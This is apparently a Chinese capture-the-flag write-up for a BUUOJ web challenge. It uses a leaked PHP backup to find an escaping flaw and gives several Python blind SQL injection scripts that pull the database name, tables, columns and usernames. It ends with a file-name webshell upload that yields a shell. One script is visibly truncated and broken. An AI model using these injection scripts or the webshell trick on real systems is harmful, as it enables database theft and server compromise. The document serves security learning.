考察:
进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt
Disallow: *.php.bak
对暴露的php文件进行测试,
user.php,image.php.bak
image.php.bak存在,得到源码如下。
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
addslashes()函数,这个函数会把特殊的字符转义。
比如:单引号会被转义成\'
,斜杠会转义为\\
.
第十行的str_replace会把"\\0","%00","\\'","'"
中的任意一个替换成空。
我们可根据这个绕过当传入id=\\0
时,就会在 查询语句处改变sql语句。
即:select * from images where id=' \' or path='
+{$path}'
所以我们可以在path处注入我们的新语句,
由于没有查询结果回显,所以此处是盲注。
编脚本就很累了,写的水平垃圾的一,写了好久。
其实这一步可以不用的,就是测验自己的理论,加上学习。
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
for i in range(30):
payload = "if(length(database())=%d,1,-1)%%23" % (i)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
print(i)
为:ciscnfinal
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用于判断可不可以终止
i = 0
while( result != last ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
# print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=" ":
result += chr(head)
print(result)
记得看一下名字里包不包括源码泄露的images表,可以作为你的脚本正确性验证。
有: images,users
import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while head < tail :
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if chr(head)!=' ' :
result += chr(head)
print(result)
爆列的时候注意,因为过滤了双单引号,且我们没有函数了,所以此时要把表明转成16进制
hex(“users”) = 0x7573657273
为:username,password
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
admin
import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127
while( head < tail ):
mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid
last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
import requests
import time
url = "http://e90944d1-1737-46ec-a95c-5502fffc68f6.node3.buuoj.cn/image.php/"
# payload = {
# "id":"",
# #"password":""
# }
result = ""
for i in range(1,50):
time.sleep(0.01)
l = 32
r =128
mid = (l+r)>>1
while(l
html = requests.get(url=payload)#data=payload
#print(payload)
if b'JFIF' in html.content:
l = mid+1
else:
r = mid
mid = (l+r)>>1
# if(chr(mid)==" "):
# break
result = result + chr(mid)
print(result)
print("flag: " ,result)
我们有了用户名和密码。
登录进去后,简单上传测试后发现,他会把文件名放到日志。
所以把木马写到文件名即可,注意过滤了php。
可以用<?=来绕过。
上传之后,getshell,去根目录把flag文件读了即可。
注意:图片数据判断存在时前+b以二进制的方式读取
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